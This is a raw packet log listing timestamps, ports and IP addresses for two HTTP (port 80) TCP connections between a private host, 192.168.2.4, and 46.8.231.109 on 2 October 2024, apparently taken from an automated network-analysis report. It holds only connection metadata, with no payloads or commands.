Oct 2, 2024 05:20:07.357341051 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357351065 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357361078 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357372046 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357381105 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357383013 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357392073 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357398987 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357426882 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357610941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357620955 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357635021 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357651949 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357659101 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357662916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357672930 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357678890 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357685089 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357696056 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357705116 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357706070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357717037 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357726097 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357727051 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357738018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357743979 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357750893 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357754946 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357763052 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357788086 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357795954 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358206034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358216047 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358232021 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358242035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358251095 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358253002 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358263969 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358273983 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358274937 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358283997 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358294964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358294964 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358304977 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358306885 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358319998 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358324051 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358330965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358341932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358347893 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358354092 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358365059 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358366966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358376980 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358386993 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358395100 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358422041 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358839035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358844995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358850956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358855963 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358863115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358870029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358875990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358882904 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358882904 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358887911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358890057 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358891964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358897924 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358901024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358907938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.358913898 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358935118 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.358946085 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359430075 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359440088 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359450102 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359460115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359469891 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359469891 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359487057 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359493017 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359498978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359509945 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359513998 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359520912 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359530926 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359534025 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359543085 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359549046 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359554052 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359564066 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359575033 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359580994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359591961 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359597921 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359601021 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359611988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359613895 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359622955 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359637976 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359638929 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359648943 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359658957 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359663963 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359671116 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359672070 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359687090 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359698057 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.359698057 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359728098 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.359746933 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360380888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360392094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360403061 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360413074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360424042 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360433102 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360435009 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360444069 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360446930 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360455990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360466957 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360476017 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360482931 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360486031 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360497952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360498905 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360508919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360513926 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360519886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360528946 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360536098 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360538960 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360551119 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360560894 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360567093 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360573053 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360582113 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360589027 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.360589027 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360619068 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.360627890 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.361459970 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.361596107 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.373019934 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.377830029 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.377903938 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.378031015 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.382750034 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977621078 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977643967 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977655888 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977667093 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977679014 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977722883 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977741957 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.977741957 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.977788925 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977802038 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977843046 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.977843046 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.977889061 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977900982 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.977943897 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.982606888 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.982662916 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.982673883 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.982683897 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.982758999 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.982758999 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.063884974 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.063918114 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.063937902 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.063949108 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.063998938 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.064037085 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.064107895 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.064151049 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.064152002 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.064163923 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.064210892 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.064248085 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.064259052 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.064286947 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.064301968 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.065006971 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.065057993 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.065063000 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.065076113 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.065120935 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.065159082 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.065170050 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.065180063 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.065207958 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.065241098 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.065901995 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.065948009 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.065952063 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.065964937 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.066039085 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.066044092 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.066056967 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.066106081 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.066128016 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.066849947 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.066884995 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.066903114 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.067357063 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.068806887 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.071372032 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.150180101 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150197029 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150208950 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150222063 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150279045 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150290966 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150290966 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.150341034 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.150341034 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.150367975 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150379896 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150418043 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.150454044 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.150767088 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150824070 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150827885 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.150835991 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150880098 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.150892019 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.151204109 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151237965 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151248932 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151264906 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.151289940 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151293993 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.151354074 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151354074 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.151787996 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151799917 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151809931 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151848078 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.151848078 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.151882887 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151895046 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.151990891 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152002096 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152018070 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152038097 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.152071953 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.152071953 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.152689934 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152735949 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152746916 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152796030 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.152849913 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152861118 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152872086 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152883053 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.152911901 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.152911901 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.152946949 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.152988911 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.153628111 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.153657913 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.153669119 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.153671980 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.153707981 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.153743982 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.153757095 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.153795004 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.153842926 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.153852940 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.153863907 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.153889894 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.153923988 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.154675961 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.154686928 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.154697895 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.154736996 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.154745102 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.154827118 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.154839993 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.154850960 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.154861927 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.157432079 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.236411095 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236434937 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236443996 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236521006 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236531019 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236531973 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.236546040 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236588955 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.236588955 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.236629009 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236661911 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236670971 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.236679077 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236721039 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.236814022 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236860991 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236871958 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236905098 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.236906052 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.236941099 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.236941099 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.237118959 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237129927 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237140894 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237170935 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.237231016 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237243891 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237253904 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237265110 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237282038 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.237315893 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.237315893 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.237365961 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237377882 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237689972 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237734079 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.237749100 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237759113 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237799883 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.237863064 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237874031 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237884045 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237895966 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.237912893 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.237946033 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.237999916 CEST	80	49780	46.8.231.109	192.168.2.4
